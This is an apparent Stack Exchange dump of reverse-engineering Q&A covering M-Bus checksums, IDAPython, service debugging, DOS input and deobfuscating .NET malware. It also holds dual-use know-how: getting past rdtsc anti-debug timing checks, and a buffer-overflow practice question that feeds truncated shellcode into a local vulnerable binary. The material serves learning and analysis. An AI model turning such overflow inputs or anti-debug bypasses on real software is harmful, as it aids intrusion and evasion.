  <row Id="11375" PostTypeId="1" AcceptedAnswerId="11380" CreationDate="2015-11-21T18:11:34.990" Score="2" ViewCount="2688" Body="&lt;p&gt;I'm trying to calculate the check sum of a m-bus data frame. In page 1 of &lt;a href=&quot;http://bg-etech.de/download/manual/SDM630-Mbus-protocol.pdf&quot; rel=&quot;nofollow&quot;&gt;this PDF&lt;/a&gt; I'm able to read that the frame's check sum &quot;is calculated from the arithmetical sum of the data mentioned above, without taking carry digits into account&quot;. The data I have above are the bytes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Start&lt;/li&gt;&#xA;&lt;li&gt;L Field&lt;/li&gt;&#xA;&lt;li&gt;L Field&lt;/li&gt;&#xA;&lt;li&gt;Start&lt;/li&gt;&#xA;&lt;li&gt;C Field&lt;/li&gt;&#xA;&lt;li&gt;A Field&lt;/li&gt;&#xA;&lt;li&gt;CI Field&lt;/li&gt;&#xA;&lt;li&gt;Check sum&lt;/li&gt;&#xA;&lt;li&gt;Stop&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In page 2 we can find that one example of a valid data frame is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;68 03 03 68 53 01 BB 0F 16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In hexadecimal, being 0F the check sum. Unfortunately I must be doing something wrong because I'm not able to reach that value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could someone explain how this algorithm, to find the check sum, works?&lt;/p&gt;&#xA;" OwnerUserId="14178" LastActivityDate="2015-11-22T08:22:00.850" Title="Calculating check sum of m-bus data frame" Tags="|hex|protocol|binary-format|hexadecimal|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11377" PostTypeId="2" ParentId="11371" CreationDate="2015-11-21T20:14:44.917" Score="0" Body="&lt;p&gt;I'm not a lawyer, but &lt;strong&gt;&lt;em&gt;dont&lt;/em&gt;&lt;/strong&gt; try to RE any sony products, especially playstations, unless you want to end up being litigated like Geohot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://en.wikipedia.org/wiki/Sony_Computer_Entertainment_America,_Inc._v._Hotz&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/Sony_Computer_Entertainment_America,_Inc._v._Hotz&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No one will answer here with how to actually RE it because &lt;strong&gt;&lt;em&gt;it will result in massive court costs, lost work time, etc.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spoke ot the legal department at my company. If this question regarded reverse engineering a crackme or anything of the sort its legal. However, due to the game being Intellectual Property (IP) of a company (Leyou Millenium as of 9AUG2015), we  at stack exchange can't &lt;em&gt;legally&lt;/em&gt; point you in the right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to try cracking non-IP and unlicensed software, e.g. executables on crackmes.de, go ahead but legally in the US we could be prosecuted for giving a specific answer regarding the IP in question.&lt;/p&gt;&#xA;" OwnerUserId="10058" LastEditorUserId="10058" LastEditDate="2015-11-24T17:39:05.973" LastActivityDate="2015-11-24T17:39:05.973" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11378" PostTypeId="1" AcceptedAnswerId="11379" CreationDate="2015-11-21T20:58:29.703" Score="-3" ViewCount="89" Body="&lt;ul&gt;&#xA;&lt;li&gt;&lt;h3&gt;I'm a beginner in RE. So i don't know which environments are better for me ( Linux or Window , 32bit or 64bit ).&lt;/h3&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;h3&gt;Which free tools are the best for each OS .&lt;/h3&gt;&#xA;&#xA;Ollydbg is for Windows 32bit right?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14150" LastActivityDate="2015-11-21T21:14:35.640" Title="Which environment are comfortable for RE ( Free tool )" Tags="|windows|linux|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-22T16:15:41.267" ContentLicense="CC BY-SA 3.0" />
  <row Id="11379" PostTypeId="2" ParentId="11378" CreationDate="2015-11-21T21:14:35.640" Score="0" Body="&lt;p&gt;There isn't really a &quot;better environment&quot; or &quot;best tools&quot;, its all up to the RE tasks you are up against. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since you said you are a beginner and from reading between the lines without a pre determined task, I would recommend 32bit machine and Ollydbg focusing on solving some CrackMe challenges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find some of them here:&#xA;&lt;a href=&quot;https://tuts4you.com/download.php?list.61&quot; rel=&quot;nofollow&quot;&gt;Tuts4You -  CrackMe&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11834" LastActivityDate="2015-11-21T21:14:35.640" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11380" PostTypeId="2" ParentId="11375" CreationDate="2015-11-22T08:22:00.850" Score="2" Body="&lt;p&gt;just one sample is never sufficient to answer a checksum query you need a bunch of samples to corelate and find patterns  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;so looking at the linked pdf it seems it is clear enough&lt;/p&gt;&#xA;&#xA;&lt;p&gt;skip the start and sum the data and extract the least two bytes &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;skip     sum     mask &#xA;x,x,x,x | y,y,... 0x000000ff = checksum&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so the sample you posted would be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;skip         | sum            &#xA;68 , 3 ,3 68 | 53 , 01 , bb |  =&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;checksum&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;{0:X2}&quot; -f ((0x53+0x1+0xbb) -band 0x000000ff) = 0x0f seems to match &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;running this on other sequnces in the pdf seem to tally&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PS C:\&amp;gt; $a = &quot;{0:X2}&quot; -f ((0x53+0xfe+0x51+0x01+0x7a+0x01) -band 0x000000ff) ; $a&#xA;1E &#xA;PS C:\&amp;gt; $a = &quot;{0:X2}&quot; -f ((0x73+0x01+0x51+0x01+0x7A+0x02 ) -band 0x000000ff) ; $a&#xA;42&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-11-22T08:22:00.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11381" PostTypeId="2" ParentId="11364" CreationDate="2015-11-22T11:04:56.023" Score="3" Body="&lt;p&gt;When a debugger is present, and used to single-step or to perform any time of run-time instrumentation, there is a measurable delay between the executions of the individual instructions, when compared to native execution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be either bypassed &quot;by hand&quot; (&lt;code&gt;rdtsc&lt;/code&gt; is not one of the typical instruction that you'll find in &lt;em&gt;regular&lt;/em&gt; programs), or automatically if you &lt;em&gt;control&lt;/em&gt; the cpu to make him lie about its current number of ticks, like in QEMU.&lt;/p&gt;&#xA;" OwnerUserId="1485" LastActivityDate="2015-11-22T11:04:56.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11382" PostTypeId="2" ParentId="11367" CreationDate="2015-11-22T11:34:28.347" Score="3" Body="&lt;p&gt;Fixed the problem.. &#xA;On the windbg client, uncheck the 'Reconnect' and 'Pipe' checkboxes on the COM tab - then it will connect to the debugger.&lt;/p&gt;&#xA;" OwnerUserId="11510" LastActivityDate="2015-11-22T11:34:28.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11383" PostTypeId="1" AcceptedAnswerId="11409" CreationDate="2015-11-23T11:17:19.027" Score="2" ViewCount="11444" Body="&lt;p&gt;I want to test malware that wrote in .NET 4.5 and obfuscated by Confuser 1.9.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to open it with .NET Reflector, ILSpy and dotpeek, but all of them can't open it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug (and modify) it? There is a special tool for that?&lt;/p&gt;&#xA;" OwnerUserId="12789" LastEditorUserId="12789" LastEditDate="2015-11-23T11:45:52.560" LastActivityDate="2016-04-24T17:21:37.027" Title="How to disassemble .NET after using Confuser" Tags="|debugging|tools|.net|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11384" PostTypeId="1" CreationDate="2015-11-23T13:10:27.060" Score="1" ViewCount="360" Body="&lt;p&gt;Subj hides itself on a mere &lt;kbd&gt;Escape&lt;/kbd&gt; pressed in the input field. How to bring it back? I didn't find a way short of restarting IDA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's IDA 6.1 x32 &amp;amp; IDAPython v1.5.2.&lt;/p&gt;&#xA;" OwnerUserId="4185" LastEditorUserId="4185" LastEditDate="2015-11-23T14:04:48.953" LastActivityDate="2015-11-23T14:04:48.953" Title="Show IDAPython prompt" Tags="|ida|idapython|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11385" PostTypeId="2" ParentId="10910" CreationDate="2015-11-23T13:33:58.910" Score="5" Body="&lt;p&gt;If you want to debug the service initialization and it happens automatically (not triggered by some action you perform), you probably can't do it on any Windows newer than XP with ollydbg. You'll have to use WinDbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to set IFEO Debugger for your process name to run CDB &lt;strong&gt;as server&lt;/strong&gt; (e.g. &lt;code&gt;cdb.exe -server tcp:port=12345 -noio&lt;/code&gt;) and the run WinDbg as a client and connect to your server (&lt;code&gt;windbg.exe -remote tcp:server=localhost,port=12345&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll probably want to change the &lt;code&gt;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServicesPipeTimeout&lt;/code&gt; Registry value to be a bit longer. This is the time the SCM waits for a service it runs to talk to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't have to debug the initialization you can simply attach to the service after it starts, and then you can use ollydbg.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All of this and pretty much everything you need to know is documented under the MSDN page titled &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/hardware/ff540613(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;Debugging a Service Application&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr /&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Edit:&lt;/em&gt; If patching the binary is possible you can add an infinite loop in the entry point like &lt;a href=&quot;https://reverseengineering.stackexchange.com/users/1876/gandolf&quot;&gt;gandolf&lt;/a&gt; suggested and then attach a debugger after you log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, if the binary doesn't do any SEH tricks that interfere with it: Add an exception to the entry point (0xCC - int 3 is the obvious choice), set &lt;code&gt;AeDebug&lt;/code&gt; to a long running process (such as &lt;code&gt;notepad.exe&lt;/code&gt;) and then attach a debugger. This is what &lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0735662789&quot; rel=&quot;nofollow noreferrer&quot;&gt;Inside Windows Debugging&lt;/a&gt; proposes (p. 139).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, what's even easier and makes even more sense: Add the same INT3, and set &lt;code&gt;AeDebug&lt;/code&gt; to the same &lt;code&gt;cdb.exe&lt;/code&gt; command-line as you would put in IFEO and connect WinDbg to it after you log in.&lt;/p&gt;&#xA;" OwnerUserId="3939" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2016-02-20T21:49:50.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11388" PostTypeId="1" AcceptedAnswerId="11393" CreationDate="2015-11-24T13:43:53.047" Score="1" ViewCount="1888" Body="&lt;p&gt;I am new to program so I am following expert's foot steps but I am kinda lost here&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ShowMessage('Hello World');&#xA; MessageBox(null,'Hello World'mb_OK(1));&#xA;ShowModal('Hello World');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I know it's not correct Delphi syntax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the difference between the three &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; MessageBox()&#xA; ShowMessage()&#xA; ShowModal()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;All I know is that I have used ShowMessage a lot and the message comes on a small form with OK button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which one of the above uses the API&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  User32.MessageBoxW&#xA;  User32.MessageBoxA&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you for your time&lt;/p&gt;&#xA;" OwnerUserId="13366" LastActivityDate="2015-11-24T15:21:27.943" Title="What is the difference between Messagebox,Dialog and ModalMessage?" Tags="|delphi|" AnswerCount="1" CommentCount="0" ClosedDate="2015-11-25T09:56:54.307" ContentLicense="CC BY-SA 3.0" />
  <row Id="11389" PostTypeId="1" AcceptedAnswerId="11390" CreationDate="2015-11-24T14:06:59.310" Score="2" ViewCount="314" Body="&lt;p&gt;I've loaded a program into IDA + Hex-Rays, and decompiled it down to some C-like pseudo-code. Now, I am trying to figure out, for a single action that I am taking in the program, what code is being run. The code that I am interested in comes from a DLL the program uses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How does one go about tracing something like, &quot;I click on this button, this is the code that corresponds to it&quot;?&lt;/p&gt;&#xA;" OwnerUserId="14226" LastActivityDate="2015-11-26T04:32:52.933" Title="Stepping through a program to figure out what subroutines are being called?" Tags="|ida|ollydbg|dll|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11390" PostTypeId="2" ParentId="11389" CreationDate="2015-11-24T14:42:03.377" Score="2" Body="&lt;p&gt;What you are really looking for is a debugger.  GDB for Linux or OllyDbg for windows PE's.  Get to the point where you want to click a button on the program and then conduct a trace from there.  You should be able to see all the instructions executed immediately following you &quot;clicking the button&quot;.  You can then identify what code is being executed and go back to IDA to look at it there.  &lt;/p&gt;&#xA;" OwnerUserId="14227" LastActivityDate="2015-11-24T14:42:03.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11391" PostTypeId="1" AcceptedAnswerId="11394" CreationDate="2015-11-24T14:57:10.783" Score="9" ViewCount="7284" Body="&lt;p&gt;I'm familiar with python and IDA in general.  I found a few very basic tutorials but nothing that goes through an explanation of the classes used and the full capability set.  Near as I can tell the documentation consists of a list of functions.  The IDAPro book just recommends learning it through banging your head against a wall.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have a better suggestion?&lt;/p&gt;&#xA;" OwnerUserId="14227" LastActivityDate="2015-11-24T15:55:01.250" Title="Good training for IDAPython" Tags="|ida|idapython|python|" AnswerCount="2" CommentCount="0" ClosedDate="2022-09-02T13:53:44.257" ContentLicense="CC BY-SA 3.0" />
  <row Id="11392" PostTypeId="2" ParentId="11391" CreationDate="2015-11-24T15:15:18.627" Score="6" Body="&lt;p&gt;Check out &quot;&lt;a href=&quot;https://leanpub.com/IDAPython-Book&quot;&gt;The Beginner's Guide to IDAPython&lt;/a&gt;&quot; by Alexander Hanel and his &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/&quot;&gt;blog&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this by &lt;a href=&quot;http://www.openrce.org/articles/full_view/11&quot;&gt;Ero Carrera&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2936" LastActivityDate="2015-11-24T15:15:18.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11393" PostTypeId="2" ParentId="11388" CreationDate="2015-11-24T15:21:27.943" Score="0" Body="&lt;p&gt;a modal messagebox is one that blocks you cant perform any action in the main windows unless you close this messagebox    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a non modal messagebox doesnt block you can close it any time you wish and can continue to work in the main window    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;a MessageBox is a generic form if you provide the HWnd parameter it can be Modal if you provide null (as you show ) it will be nonmodal    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;all will reach user32!messagebox or its internals    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should be prestty easy for you to check by setting a breakpoint    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this question of yours will also likely be closed as unclear or lacks basic understanding     &lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2015-11-24T15:21:27.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11394" PostTypeId="2" ParentId="11391" CreationDate="2015-11-24T15:55:01.250" Score="12" Body="&lt;p&gt;I wrote &lt;a href=&quot;https://github.com/tmr232/Sark&quot;&gt;Sark&lt;/a&gt; to avoid this banging-head-against-wall routine. It provides wrappers around most of the commonly-used IDAPython APIs, making them more pythonic.&lt;br&gt;&#xA;You can find the documentation for Sark &lt;a href=&quot;http://sark.readthedocs.org/&quot;&gt;here on Read-The-Docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As mentioned before by @CrazyFrog, you can use:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Alexander Hanel's &lt;a href=&quot;https://leanpub.com/IDAPython-Book&quot;&gt;book&lt;/a&gt; and &lt;a href=&quot;http://hooked-on-mnemonics.blogspot.com/&quot;&gt;blog&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;Ero Carrera's &lt;a href=&quot;http://www.openrce.org/articles/full_view/11&quot;&gt;Intro to IDAPyton&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Additionally, there are official Hex-Rays sources:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/idapython/src/tree/master/examples&quot;&gt;IDAPython Examples&lt;/a&gt;, which is filled with useful snippets;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idapython_docs/&quot;&gt;IDAPython Docs&lt;/a&gt;, which are not too useful;&lt;/li&gt;&#xA;&lt;li&gt;The IDA SDK headers (or the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/sdkdoc/&quot;&gt;SDK Docs&lt;/a&gt;). This is a really useful source of information, as &lt;code&gt;grep&lt;/code&gt;ing through it will usually get you the function you were looking for.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.hexblog.com/&quot;&gt;Hex-Blog&lt;/a&gt; - The Hex-Rays blog. Contains some neat tricks along with tutorials on new APIs.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12872" LastActivityDate="2015-11-24T15:55:01.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11396" PostTypeId="1" AcceptedAnswerId="11398" CreationDate="2015-11-25T09:54:27.090" Score="6" ViewCount="4478" Body="&lt;p&gt;I was not able to find an API function to get the CPU architecture of the loaded binary. &#xA;In &lt;code&gt;idaapi.py&lt;/code&gt;, there is a function &lt;code&gt;def set_processor_type(*args)&lt;/code&gt; but no equivalent such as &lt;code&gt;get_processor_type&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to fall back to running some additional (python) tool such as file, readelf or a python ELF parser. I also don't like the idea of parsing the strings displayed at the beginning of the IDA assembly listing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There must be a way to use &lt;code&gt;idc.py&lt;/code&gt;, &lt;code&gt;idaapi.py&lt;/code&gt; or &lt;code&gt;idautils.py&lt;/code&gt; for this.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="2147" LastEditDate="2017-01-04T20:35:51.260" LastActivityDate="2020-02-26T16:20:36.420" Title="How to get the CPU architecture via Idapython?" Tags="|ida|idapython|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11397" PostTypeId="2" ParentId="11396" CreationDate="2015-11-25T10:14:46.233" Score="2" Body="&lt;p&gt;This is definitely not exact answer, but probably you could make use of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;idaapi.ph_get_regnames() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Returns the list of register names as defined in the processor module&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Different platforms has different register sets, and if you will not find your solution about exact cpu you can give it a try.&#xA;This function exists in IDA 6.8.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2015-11-25T10:14:46.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11398" PostTypeId="2" ParentId="11396" CreationDate="2015-11-25T11:48:40.040" Score="8" Body="&lt;p&gt;You can get the name of the processor from the &lt;code&gt;idainfo&lt;/code&gt; struct:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import idaapi&#xA;&#xA;info = idaapi.get_inf_structure()&#xA;&#xA;if info.is_64bit():&#xA;    bits = 64&#xA;elif info.is_32bit():&#xA;    bits = 32&#xA;else:&#xA;    bits = 16&#xA;&#xA;try:&#xA;    is_be = info.is_be()&#xA;except:&#xA;    is_be = info.mf&#xA;endian = &quot;big&quot; if is_be else &quot;little&quot;&#xA;&#xA;print 'Processor: {}, {}bit, {} endian'.format(info.procName, bits, endian)&#xA;# Result: Processor: mipsr, 32bit, big endian&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still haven't found the endian, though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Endian can be determined by processor name. For example, &lt;code&gt;mipsr&lt;/code&gt; is big endian, and &lt;code&gt;mipsrl&lt;/code&gt; is little endian.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;Added a proper endian check (&lt;code&gt;mf&lt;/code&gt; == MSB First). Based on &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/11396/how-to-get-the-cpu-architecture-via-idapython/14326#14326&quot;&gt;this answer&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;br&gt;&#xA;Since IDA7 beta 3 (170724), idainfo.mf was removed, and idainfo.is_be() must be used. Based on &lt;a href=&quot;https://github.com/keystone-engine/keypatch/blob/bfcaef11de3a90efb08ed4f0c39dccf40d5613d0/keypatch.py#L171-L177&quot; rel=&quot;nofollow noreferrer&quot;&gt;keypatch&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12872" LastEditorUserId="23068" LastEditDate="2018-01-30T09:00:09.423" LastActivityDate="2018-01-30T09:00:09.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11399" PostTypeId="1" CreationDate="2015-11-25T12:25:35.577" Score="1" ViewCount="2100" Body="&lt;p&gt;I have this assembly code that reads a string of 120 bytes. If I try to fill the buffer by pressing a key until it stops writing, the enter key doesn't work. I counted the characters and I found that I have written 121 characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this normal? Is there a way to avoid it? Another interruption perhaps?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.model small&#xA;.stack 100h&#xA;.386&#xA;.data &#xA;    MSG DB &quot;Please give me the string (max 120 chars): &quot;, 10, 13, &quot;$&quot;&#xA;    Sentence1 DB 121,?,121 dup(0)&#xA;.code&#xA;start:&#xA;    mov ax, @data&#xA;    mov ds, ax&#xA;&#xA;    mov ah,09h&#xA;    lea dx,A&#xA;    int 21h&#xA;&#xA;    xor ax,ax        &#xA;    mov dx, offset Sentence1&#xA;    mov ah, 0Ah&#xA;    int 21h&#xA;    xor bx,bx&#xA;    mov bl, Sentence1[1]&#xA;    mov Sentence1[bx+2], '$' &#xA;&#xA;    mov ah, 4ch&#xA;    int 21h&#xA;end start  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An example (imagine that is a 11 bytes buffer and not 121 bytes, for brevity):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Please give me the string (max 10 chars):&#xA;AAAAAAAAAAA&#xA;\_________/&#xA;     |&#xA;    11 As&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I press Enter at this point it doesn't work, but if I delete an A and press Enter, then it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I use Tasm and Tlink for compiling.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[Edit] A typo.&lt;/p&gt;&#xA;" OwnerUserId="14236" LastActivityDate="2015-11-25T15:54:49.113" Title="DOS interrupt problem with int 21h 0ah" Tags="|assembly|dos|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11400" PostTypeId="2" ParentId="11399" CreationDate="2015-11-25T15:54:49.113" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this normal?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there a way to avoid it?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;C&lt;/kbd&gt; or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Break&lt;/kbd&gt; to exit buffered-input mode (this results in an &lt;code&gt;INT 23h&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Another interruption perhaps?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There are several DOS interrupt services that you could use to read input, but &lt;code&gt;INT 21h&lt;/code&gt;/&lt;code&gt;AH=01h&lt;/code&gt; is probably the next best option.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2015-11-25T15:54:49.113" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11401" PostTypeId="2" ParentId="11371" CreationDate="2015-11-25T16:55:40.417" Score="2" Body="&lt;p&gt;Yes, you need to look into reverse engineering discipline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a lot of books written on this topic, for example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0764574817&quot; rel=&quot;nofollow&quot;&gt;Book 1&lt;/a&gt;&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272898&quot; rel=&quot;nofollow&quot;&gt;Book 2&lt;/a&gt;&#xA;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593271441&quot; rel=&quot;nofollow&quot;&gt;Book 3&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By reading those books, you'll get acknowledged with need tools and instruments, also as reversing techniques.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you'll have any more questions after reading those books, please come back and ask.&lt;/p&gt;&#xA;" OwnerUserId="2038" LastActivityDate="2015-11-25T16:55:40.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11402" PostTypeId="1" AcceptedAnswerId="11414" CreationDate="2015-11-25T17:15:01.693" Score="2" ViewCount="3947" Body="&lt;p&gt;I am currently playing around with simple buffer overflows in a C program and I am trying to understand the program by stepping through it in IDA Pro. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The program takes an argument and writes it into a buffer with &lt;code&gt;strcpy()&lt;/code&gt;. I can pass a simple argument like &lt;code&gt;AAAA...&lt;/code&gt; to the program in IDA Pro (Debugger-&gt;process options) and see how the return address gets overwritten.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I would like to do now is pass some shellcode as a parameter and see in IDA Pro how the program writes the shellcode in the buffer and overwrites the return address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a shell, I would execute something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./vuln \`perl -e 'print &quot;\x55\x89\xe5...&quot;'`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ ./vuln \`cat shellcode.txt`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is: how can I pass non-printable characters as an argument to a program in IDA Pro? &lt;/p&gt;&#xA;" OwnerUserId="14238" LastEditorUserId="257" LastEditDate="2018-03-25T19:21:09.140" LastActivityDate="2018-03-25T19:21:09.140" Title="IDA Pro: Program parameters" Tags="|ida|shellcode|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
